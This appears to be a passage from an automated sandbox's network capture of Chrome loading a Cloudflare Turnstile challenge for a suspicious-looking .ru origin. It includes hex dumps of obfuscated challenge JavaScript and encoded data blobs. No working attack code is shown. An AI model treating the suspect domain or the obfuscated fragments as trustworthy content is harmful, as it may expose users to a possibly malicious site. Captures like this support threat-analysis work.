2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 49 6f 4d 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 51 55 59 69 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 61 4a 65 58 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 57 53 76 73 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 43 55 47 49 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 54 63 44 46 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 6a 28 31 36 37 34 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 Data Ascii: eturn h(i)},'yIoMb':function(h,i){return h!=i},'QUYie':function(h,i){return hi},'aJeXm':function(h,i){return h<i},'WSvsX':function(h,i){return ih},'CUGIR':function(h,i){return i&h},'TcDFk':function(h,i){return h+i}},e=String[jj(1674)],f={'h':function(h)
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 30 3d 3d 45 26 26 28 45 3d 4d 61 74 68 5b 6a 6c 28 31 32 31 36 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 6a 6c 28 31 30 39 35 29 5d 28 49 2c 31 29 7c 64 5b 6a 6c 28 31 32 30 35 29 5d 28 4e 2c 31 29 2c 64 5b 6a 6c 28 38 38 38 29 5d 28 4a 2c 64 5b 6a 6c 28 31 36 35 32 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 6a 6c 28 31 31 36 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 64 5b 6a 6c 28 38 38 38 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 6a 6c 28 31 32 31 36 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 53 74 72 69 6e 67 28 4c 29 29 7d 69 66 28 Data Ascii: 0==E&&(E=Math[jl(1216)](2,G),G++),delete C[D]}else for(N=B[D],x=0;x<G;I=d[jl(1095)](I,1)\|d[jl(1205)](N,1),d[jl(888)](J,d[jl(1652)](j,1))?(J=0,H[jl(1161)](o(I)),I=0):J++,N>>=1,x++);D=(E--,d[jl(888)](0,E)&&(E=Math[jl(1216)](2,G),G++),B[M]=F++,String(L))}if(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49768	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:38 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3263 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:38 UTC	3263	OUT	Data Raw: 76 5f 38 66 30 31 39 35 39 33 64 39 30 37 66 35 66 34 3d 4e 44 4d 7a 37 7a 67 7a 57 7a 6e 7a 65 7a 42 6d 58 5a 6d 58 56 6b 7a 35 45 62 41 61 72 45 77 2d 51 58 4f 55 58 37 64 7a 54 52 58 4c 7a 61 44 58 73 58 36 77 55 58 72 74 25 32 62 7a 37 55 58 46 7a 72 32 33 56 58 31 77 7a 58 72 6e 35 58 67 59 56 58 61 64 54 59 41 55 34 7a 2b 58 68 4e 58 67 6a 2b 52 64 64 58 44 58 42 4d 45 77 30 4c 44 24 47 76 70 2d 59 55 4f 64 58 33 58 4c 64 77 43 24 66 5a 4e 46 4d 36 68 59 32 45 77 59 51 49 6b 36 36 61 6f 54 4d 58 73 2b 32 77 55 7a 54 33 52 49 70 59 63 4d 4d 4d 49 73 74 33 70 63 52 77 58 77 45 30 53 4e 64 65 58 4d 32 6b 4d 6e 37 61 58 73 4d 55 58 6e 4d 4c 58 38 32 72 58 73 33 56 37 4f 6a 58 52 34 6d 47 52 4f 6a 58 5a 7a 77 63 37 48 70 61 58 35 66 6e 56 61 6a 4d 58 6e Data Ascii: v_8f019593d907f5f4=NDMz7zgzWznzezBmXZmXVkz5EbAarEw-QXOUX7dzTRXLzaDXsX6wUXrt%2bz7UXFzr23VX1wzXrn5XgYVXadTYAU4z+XhNXgj+RddXDXBMEw0LD$Gvp-YUOdX3XLdwC$fZNFM6hY2EwYQIk66aoTMXs+2wUzT3RIpYcMMMIst3pcRwXwE0SNdeXM2kMn7aXsMUXnMLX82rXs3V7OjXR4mGROjXZzwc7HpaX5fnVajMXn
2024-12-11 01:08:39 UTC	767	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 159916 Connection: close cf-chl-gen: M14k5djp3jL3jHgJk82fJonGH4gBwlnmsMaQ4z8S83J8MeYur8cirxzEqz+HAaLZH7vbTP4bd359iCMgrjZZ843lPFXedAd1Ya2slP7MfQHW3YcfLRF2rp6wTu/ZXKiilynRUwkaAZ/Yk99X2AQg+Nv1BftREcGaQnmL9M6kOrcFx7xiKI6QiV/zTc8QtsaN1iOum7ZBZFqd3EnJQRXAP7i5wxuGvzT7P/IJykmXQAwDIXIONgOGTMaW5nn3ouTenMJlABPCyfWqSpWM2ddPgKZeKSwIz32GzSo+tK74t08IequH2fFOp/J2isnnSFlFmlFPgxEZDv7ImxDwY8uPqg/SmvJz5s1Xs7Nfc4ysJfwwq9muyku+YFQJmqpiN5hJt2aSxxX7YbOPJK5RvL9mww9Zmrw7Gk3Y9wwrqjpYCXdYE4YHAuW+xjJSbQ8it9i8bbRn6NTRrxxfpSzgEk1sKcCVCCm2jNv3nqvcqzkO+KqAcLvAlG5BzdHc4FXW46yKWQ==$BJfFq+UzflEPN8GX Server: cloudflare CF-RAY: 8f0195af3ba4426b-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:39 UTC	602	IN	Data Raw: 66 4b 61 45 74 59 6a 48 68 73 32 4e 6c 36 79 6d 72 62 47 53 77 35 4b 73 77 63 4b 52 78 74 33 50 32 38 69 66 7a 62 61 78 33 36 33 43 32 62 47 2b 31 4d 65 6a 78 2b 66 6d 71 65 48 6c 36 38 37 41 31 62 47 76 77 72 54 76 75 66 58 72 39 4d 37 4f 38 2b 37 66 41 75 62 53 34 4d 54 71 32 41 44 75 42 41 48 49 33 77 67 4e 43 52 45 51 31 68 6b 5a 48 4f 37 71 31 68 67 4b 38 2f 59 57 4a 4e 38 66 38 66 44 77 42 66 58 30 39 41 76 38 43 43 38 63 41 67 34 45 39 53 63 72 39 6a 67 4e 4b 66 63 73 43 6a 7a 39 2b 41 34 68 52 45 49 42 43 42 51 30 42 50 30 59 4f 41 67 37 4a 46 49 72 48 6c 4e 50 55 30 46 47 45 43 55 61 4e 52 56 67 53 52 70 56 58 43 46 5a 47 44 4e 61 56 32 68 41 52 31 74 76 51 32 46 4f 58 55 6c 50 62 45 4a 58 59 47 78 55 4d 6c 59 76 58 58 67 38 65 54 79 41 57 45 4e Data Ascii: fKaEtYjHhs2Nl6ymrbGSw5KswcKRxt3P28ifzbax363C2bG+1Mejx+fmqeHl687A1bGvwrTvufXr9M7O8+7fAubS4MTq2ADuBAHI3wgNCREQ1hkZHO7q1hgK8/YWJN8f8fDwBfX09Av8CC8cAg4E9Scr9jgNKfcsCjz9+A4hREIBCBQ0BP0YOAg7JFIrHlNPU0FGECUaNRVgSRpVXCFZGDNaV2hAR1tvQ2FOXUlPbEJXYGxUMlYvXXg8eTyAWEN
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 61 42 58 6d 52 33 67 6e 6c 73 63 33 78 4d 59 59 2b 4b 69 57 6d 48 61 4a 52 76 63 48 53 59 6d 49 53 69 68 58 2b 50 63 49 43 72 71 6c 36 62 71 4a 6c 76 69 4a 46 73 67 71 4f 53 72 6f 39 7a 6d 6d 32 36 6a 70 32 4a 76 70 78 2f 6c 6f 47 78 6d 5a 47 45 6f 4b 75 48 7a 59 65 57 73 4a 71 6d 6e 73 75 2b 73 73 2b 6e 7a 61 53 6b 75 73 71 72 72 38 37 63 33 37 50 6a 6f 73 33 63 35 4d 6a 6e 70 75 76 70 78 2b 6e 6e 71 36 6e 44 32 38 7a 41 34 4f 33 6f 36 37 6e 45 37 74 37 37 76 4c 7a 73 77 75 34 47 38 38 48 43 43 67 48 41 35 50 7a 6c 37 73 7a 73 7a 52 50 38 36 39 4c 6e 30 65 7a 72 39 4e 49 62 42 74 54 74 49 50 51 44 44 51 49 41 35 41 62 65 42 66 72 70 2f 51 6f 58 4c 52 30 47 42 51 63 7a 37 79 41 6c 4d 44 55 4c 4a 52 6b 59 49 42 63 50 2b 68 51 39 46 44 6b 6f 2f 55 6b 70 48 Data Ascii: aBXmR3gnlsc3xMYY+KiWmHaJRvcHSYmISihX+PcICrql6bqJlviJFsgqOSro9zmm26jp2Jvpx/loGxmZGEoKuHzYeWsJqmnsu+ss+nzaSkusqrr87c37Pjos3c5Mjnpuvpx+nnq6nD28zA4O3o67nE7t77vLzswu4G88HCCgHA5Pzl7szszRP869Ln0ezr9NIbBtTtIPQDDQIA5AbeBfrp/QoXLR0GBQcz7yAlMDULJRkYIBcP+hQ9FDko/UkpH
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 39 59 6f 2b 46 63 6d 32 4a 68 57 57 58 65 33 70 37 6a 33 4e 61 64 4a 61 4e 62 32 4a 34 64 70 31 67 6e 34 31 32 6d 36 75 76 62 49 52 77 6b 4c 53 54 6f 36 4e 33 71 6f 32 63 76 59 2b 56 66 48 36 68 71 37 35 2b 66 49 4b 68 67 61 75 54 7a 4b 32 39 6a 71 61 64 30 61 43 30 71 38 75 4a 79 4b 50 49 71 73 71 6d 6c 72 48 64 6d 72 33 4d 76 38 36 7a 32 36 50 62 73 36 47 69 35 63 76 4a 71 4c 7a 79 7a 73 48 45 36 50 50 79 73 65 6e 61 74 64 37 6d 75 72 33 2b 79 73 7a 32 37 73 4d 43 34 76 33 34 77 63 67 45 39 39 37 4b 7a 2f 7a 67 39 65 4d 47 44 51 4d 57 30 78 62 76 32 41 38 4a 2b 76 6f 5a 44 2f 62 2b 33 43 6a 68 46 4f 45 58 47 78 62 6c 44 77 59 44 42 7a 41 48 43 6a 51 49 4f 50 4d 61 4d 75 37 76 4d 76 6f 30 49 30 4d 77 47 43 2f 39 4a 78 51 72 43 6a 70 4b 49 42 31 48 52 53 Data Ascii: 9Yo+Fcm2JhWWXe3p7j3NadJaNb2J4dp1gn412m6uvbIRwkLSTo6N3qo2cvY+VfH6hq75+fIKhgauTzK29jqad0aC0q8uJyKPIqsqmlrHdmr3Mv86z26Pbs6Gi5cvJqLzyzsHE6PPysenatd7mur3+ysz27sMC4v34wcgE997Kz/zg9eMGDQMW0xbv2A8J+voZD/b+3CjhFOEXGxblDwYDBzAHCjQIOPMaMu7vMvo0I0MwGC/9JxQrCjpKIB1HRS
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 6d 49 6c 30 62 6e 56 2f 61 31 4a 63 62 46 6d 4f 6a 6d 4a 64 6f 71 6d 5a 6e 33 71 49 6c 32 79 61 6b 6e 74 7a 70 32 2b 32 62 37 69 58 70 61 53 79 6a 5a 75 4b 74 6f 75 71 6b 62 47 64 72 72 7a 46 6b 34 53 6c 79 71 6d 37 79 4c 69 6e 71 6f 57 55 74 4d 65 4e 6f 4b 72 51 6a 63 65 2b 31 63 75 61 7a 4c 53 2b 6c 74 66 6b 77 72 66 4a 31 71 54 47 79 71 62 76 72 4f 76 45 73 4c 44 4c 37 76 4b 7a 35 66 50 61 33 63 33 6f 39 64 48 41 34 73 37 43 33 4c 37 69 38 74 6a 57 2b 2f 33 65 2b 2b 34 4b 42 63 6a 62 45 2f 54 6e 45 64 50 58 46 65 4d 4b 31 2f 67 41 34 4f 33 75 42 52 2f 79 41 78 38 64 35 76 59 71 2b 79 76 74 49 2f 67 77 45 76 44 76 4c 66 45 46 4d 43 49 6d 44 41 73 6e 45 6a 77 72 45 78 38 2b 44 6a 49 66 47 7a 63 6e 42 7a 33 2b 50 45 34 5a 48 42 77 50 4d 31 49 6b 46 53 55 Data Ascii: mIl0bnV/a1JcbFmOjmJdoqmZn3qIl2yakntzp2+2b7iXpaSyjZuKtouqkbGdrrzFk4Slyqm7yLinqoWUtMeNoKrQjce+1cuazLS+ltfkwrfJ1qTGyqbvrOvEsLDL7vKz5fPa3c3o9dHA4s7C3L7i8tjW+/3e++4KBcjbE/TnEdPXFeMK1/gA4O3uBR/yAx8d5vYq+yvtI/gwEvDvLfEFMCImDAsnEjwrEx8+DjIfGzcnBz3+PE4ZHBwPM1IkFSU
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 33 70 39 65 58 32 58 67 34 2b 55 5a 32 4a 2f 67 34 68 6d 64 34 71 6e 61 5a 36 30 6f 71 46 77 67 49 4f 72 67 34 65 63 6d 35 75 65 6e 36 42 30 6c 58 36 51 6d 70 4b 46 6f 4c 2b 6a 6a 49 57 48 6d 63 47 5a 6a 61 47 77 79 34 32 66 32 63 6e 4b 6b 36 36 34 30 61 32 36 76 4d 4f 30 7a 63 58 6b 31 73 53 70 6f 4f 53 69 75 2b 58 6a 79 61 6a 47 38 73 36 79 36 75 58 68 36 50 6e 79 74 66 50 58 31 72 62 75 75 64 4c 50 33 66 66 47 42 73 67 47 42 41 7a 62 7a 4e 76 74 35 63 51 43 33 41 45 4a 31 52 48 7a 42 52 4c 72 43 67 72 31 48 65 38 66 34 2f 59 52 39 69 49 46 4b 79 63 41 2f 43 6a 2b 45 44 48 76 41 53 45 41 43 79 38 6a 4a 43 6f 6e 38 7a 67 48 4b 76 6f 65 49 2f 34 53 4f 51 56 44 41 30 55 4a 4f 77 6f 44 44 53 42 4a 49 43 51 79 54 52 56 4b 4d 78 45 32 53 30 6f 70 55 6b 59 79 Data Ascii: 3p9eX2Xg4+UZ2J/g4hmd4qnaZ60oqFwgIOrg4ecm5uen6B0lX6QmpKFoL+jjIWHmcGZjaGwy42f2cnKk6640a26vMO0zcXk1sSpoOSiu+XjyajG8s6y6uXh6PnytfPX1rbuudLP3ffGBsgGBAzbzNvt5cQC3AEJ1RHzBRLrCgr1He8f4/YR9iIFKycA/Cj+EDHvASEACy8jJCon8zgHKvoeI/4SOQVDA0UJOwoDDSBJICQyTRVKMxE2S0opUkYy
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 4b 59 70 6e 32 55 66 4b 64 31 72 49 6c 37 69 47 78 37 74 4c 47 43 64 72 57 49 65 4a 71 77 64 4a 61 66 66 4d 47 4b 6a 34 32 4f 77 37 43 42 74 49 66 4c 6f 36 44 4f 6d 5a 36 72 72 4d 57 4c 6a 34 69 69 74 37 43 58 6c 4e 58 63 7a 4b 36 71 30 63 47 62 35 62 6d 30 6f 4b 58 6c 77 39 32 36 34 37 76 5a 71 73 50 6d 72 61 61 6e 7a 37 48 50 36 2b 62 4e 39 4d 33 63 2b 4e 59 44 39 4c 58 67 2b 41 6a 78 2f 67 66 2b 31 39 58 59 31 76 77 4a 33 42 4c 6b 34 51 48 32 42 74 4d 4a 30 66 6a 75 35 64 55 49 38 53 48 36 2b 65 38 52 2f 51 54 34 47 51 63 69 39 77 63 6c 4a 66 33 35 37 51 6e 74 4e 53 67 54 44 41 38 54 4c 41 6f 59 4c 52 55 50 4d 69 30 67 45 44 51 42 4d 52 73 31 48 30 46 4f 54 69 34 73 49 55 49 76 50 69 64 42 55 55 77 55 4c 7a 4a 50 47 6a 52 51 57 42 34 33 50 31 6b 64 4f Data Ascii: KYpn2UfKd1rIl7iGx7tLGCdrWIeJqwdJaffMGKj42Ow7CBtIfLo6DOmZ6rrMWLj4iit7CXlNXczK6q0cGb5bm0oKXlw92647vZqsPmraanz7HP6+bN9M3c+NYD9LXg+Ajx/gf+19XY1vwJ3BLk4QH2BtMJ0fju5dUI8SH6+e8R/QT4GQci9wclJf357QntNSgTDA8TLAoYLRUPMi0gEDQBMRs1H0FOTi4sIUIvPidBUUwULzJPGjRQWB43P1kdO
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 70 6f 36 64 73 59 35 75 74 74 57 65 76 71 58 57 6c 75 37 52 35 62 35 6d 31 66 4c 32 37 6d 6f 43 62 70 63 47 45 6e 36 47 2f 69 71 4f 74 78 39 47 44 30 38 6d 52 68 36 33 4a 6c 4e 58 58 7a 5a 69 7a 31 37 61 64 7a 63 2f 5a 6f 65 48 46 33 36 57 2f 30 2b 43 6e 72 4b 54 6d 71 36 50 62 37 4c 44 78 31 65 2b 31 35 65 2f 31 2f 61 2f 33 38 72 33 74 37 2f 75 2f 74 77 67 42 77 37 73 49 34 73 6b 4b 45 41 6e 4e 35 2b 30 46 30 4d 63 55 45 68 72 4c 2b 52 58 59 47 68 51 58 33 66 63 59 47 4e 2f 6b 33 43 4c 6b 32 79 41 66 35 39 38 47 4b 75 77 49 43 69 67 32 35 7a 67 71 39 53 59 73 4e 66 67 36 46 6a 6a 37 38 78 6f 62 41 6a 4a 49 4f 77 59 32 53 45 41 49 41 45 52 4a 44 54 77 4a 53 78 46 43 57 45 30 55 44 44 4a 4e 47 7a 52 63 57 47 49 55 58 46 73 68 47 44 35 66 4a 6c 5a 67 59 69 Data Ascii: po6dsY5uttWevqXWlu7R5b5m1fL27moCbpcGEn6G/iqOtx9GD08mRh63JlNXXzZiz17adzc/ZoeHF36W/0+CnrKTmq6Pb7LDx1e+15e/1/a/38r3t7/u/twgBw7sI4skKEAnN5+0F0McUEhrL+RXYGhQX3fcYGN/k3CLk2yAf598GKuwICig25zgq9SYsNfg6Fjj78xobAjJIOwY2SEAIAERJDTwJSxFCWE0UDDJNGzRcWGIUXFshGD5fJlZgYi
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 66 4c 4b 33 6f 6e 4b 6c 71 49 4f 4c 62 34 6d 35 66 61 32 5a 73 48 35 33 75 37 78 2f 6f 4d 75 72 69 63 6e 44 70 71 43 70 70 61 36 4b 71 71 6e 4b 6c 4a 6d 55 78 70 69 79 6c 4d 79 63 6f 62 32 39 6f 72 76 55 72 36 50 41 36 39 75 35 78 61 6e 6d 70 36 66 6a 34 62 47 6e 79 62 4b 79 2b 63 6e 51 78 2f 7a 73 31 4d 33 78 37 4e 36 2f 41 2f 66 68 77 39 38 4d 2f 73 54 58 33 67 50 66 32 77 6a 38 31 42 4c 68 31 4f 41 57 46 65 4d 65 30 2f 55 4f 30 68 44 31 48 75 7a 35 33 4e 37 6a 41 53 48 31 36 51 62 35 42 2b 38 65 2f 66 44 38 4d 69 30 41 4f 75 38 4f 4b 75 34 73 45 6a 55 4a 46 76 68 42 41 42 30 39 45 67 59 53 46 69 4d 4d 4a 42 6f 4e 47 55 34 76 48 46 59 49 45 55 59 4c 53 43 35 51 4a 54 51 76 50 53 78 53 57 44 38 6c 55 6a 4a 68 4a 47 5a 4b 59 53 64 62 54 6d 41 78 58 55 5a Data Ascii: fLK3onKlqIOLb4m5fa2ZsH53u7x/oMuricnDpqCppa6KqqnKlJmUxpiylMycob29orvUr6PA69u5xanmp6fj4bGnybKy+cnQx/zs1M3x7N6/A/fhw98M/sTX3gPf2wj81BLh1OAWFeMe0/UO0hD1Huz53N7jASH16Qb5B+8e/fD8Mi0AOu8OKu4sEjUJFvhBAB09EgYSFiMMJBoNGU4vHFYIEUYLSC5QJTQvPSxSWD8lUjJhJGZKYSdbTmAxXUZ
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 5a 52 33 68 71 2b 61 6a 49 47 53 75 70 43 62 67 5a 75 45 69 49 53 47 6e 63 33 45 6e 4a 32 39 30 36 2b 50 78 4c 2b 78 6a 39 57 71 7a 71 75 6e 30 38 69 73 33 61 33 4e 6e 71 32 32 72 36 50 59 78 73 47 2b 32 4d 4c 69 76 37 76 6e 33 4c 2b 6e 77 66 43 7a 35 37 44 6f 7a 74 62 4a 2b 38 76 58 37 39 6a 55 75 2f 6a 34 32 51 62 33 2b 39 66 4e 34 65 6e 49 32 2b 4c 76 34 51 48 71 38 42 72 79 45 66 62 72 35 78 54 65 38 65 48 32 2f 43 62 39 35 51 6a 7a 41 77 73 68 2b 4f 33 32 42 2b 63 49 4e 42 44 75 44 41 49 6d 43 78 4d 47 4f 41 67 55 4c 42 55 4e 50 77 73 5a 42 50 63 65 48 52 63 35 48 7a 59 66 4f 30 31 46 43 46 45 69 4b 53 42 56 52 53 30 6d 53 6b 55 33 46 43 59 56 4f 42 38 33 50 6b 41 31 56 54 70 57 49 7a 49 37 4e 43 68 64 59 57 63 2f 4f 33 46 4f 52 55 41 2f 56 45 5a 6c Data Ascii: ZR3hq+ajIGSupCbgZuEiISGnc3EnJ2906+PxL+xj9Wqzqun08is3a3Nnq22r6PYxsG+2MLiv7vn3L+nwfCz57DoztbJ+8vX79jUu/j42Qb3+9fN4enI2+Lv4QHq8BryEfbr5xTe8eH2/Cb95QjzAwsh+O32B+cINBDuDAImCxMGOAgULBUNPwsZBPceHRc5HzYfO01FCFEiKSBVRS0mSkU3FCYVOB83PkA1VTpWIzI7NChdYWc/O3FORUA/VEZl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49772	35.190.80.1	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:40 UTC	542	OUT	OPTIONS /report/v4?s=2%2B7%2BQ9pK%2BTl8M5SRJ02Y47ipyU3Rxdk0mA9prW0PLU%2BimyxlGVimDkzsn1o9Cer7t%2BxdvXvAlKACS8N5NowiQmG4R39wlz0qsz0JHpCWH5Lqw%2FEphp85fDYfoKcMkQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cj.qhggzzwnpfh.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:40 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 11 Dec 2024 01:08:40 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49774	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:41 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:42 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 01:08:41 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: YBRF9jzkAlp46ZSDD9uwG5SQ8jaehq7vnQs=$gDhOyGNwQYudfrSl cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f0195c0080c5e72-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49775	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:41 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:42 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:42 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f0195c36a004267-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:42 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 00 1c 08 02 00 00 00 73 b5 01 bf 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)sIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49776	35.190.80.1	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:42 UTC	482	OUT	POST /report/v4?s=2%2B7%2BQ9pK%2BTl8M5SRJ02Y47ipyU3Rxdk0mA9prW0PLU%2BimyxlGVimDkzsn1o9Cer7t%2BxdvXvAlKACS8N5NowiQmG4R39wlz0qsz0JHpCWH5Lqw%2FEphp85fDYfoKcMkQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
